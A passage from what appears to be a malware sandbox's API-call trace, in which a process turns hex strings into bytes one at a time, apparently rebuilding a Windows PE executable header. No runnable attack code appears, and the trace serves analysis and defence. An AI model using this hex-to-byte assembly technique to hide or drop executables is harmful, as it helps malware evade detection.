WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.689] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.689] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.689] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.690] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.690] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.690] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.690] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.690] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.690] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.691] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.692] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.692] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.692] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.692] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.692] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.693] VarParseNumFromStr (in: strIn="&H50", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.693] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.693] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="P") returned 1 [0061.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="P", lpUsedDefaultChar=0x0) returned 1 [0061.694] VarParseNumFromStr (in: strIn="&H45", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.694] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.694] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="E") returned 1 [0061.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="E", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="E", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="E", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="E", lpUsedDefaultChar=0x0) returned 1 [0061.694] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.694] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.695] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.695] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.695] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.695] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.696] VarParseNumFromStr (in: strIn="&H4C", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.696] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.696] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="L") returned 1 [0061.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="L", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="L", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="L", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="L", lpUsedDefaultChar=0x0) returned 1 [0061.697] VarParseNumFromStr (in: strIn="&H1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.697] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.697] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="\x01") returned 1 [0061.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x01", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x01", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x01", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x01", lpUsedDefaultChar=0x0) returned 1 [0061.697] VarParseNumFromStr (in: strIn="&H4", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.697] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.697] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="\x04") returned 1 [0061.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x04", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x04", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x04", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x04", lpUsedDefaultChar=0x0) returned 1 [0061.698] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.698] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.698] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.699] VarParseNumFromStr (in: strIn="&H25", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.699] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.699] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="%") returned 1 [0061.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="%", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="%", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="%", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="%", lpUsedDefaultChar=0x0) returned 1 [0061.700] VarParseNumFromStr (in: strIn="&H53", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.700] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.700] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="S") returned 1 [0061.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="S", lpUsedDefaultChar=0x0) returned 1 [0061.700] VarParseNumFromStr (in: strIn="&H89", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.700] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.700] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="‰") returned 1 [0061.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="‰", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="‰", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="‰", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x89", lpUsedDefaultChar=0x0) returned 1 [0061.701] VarParseNumFromStr (in: strIn="&H35", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.701] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.701] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0061.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5", lpUsedDefaultChar=0x0) returned 1 [0061.702] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.702] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.702] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.702] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.702] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.703] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.703] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.703] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.703] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, 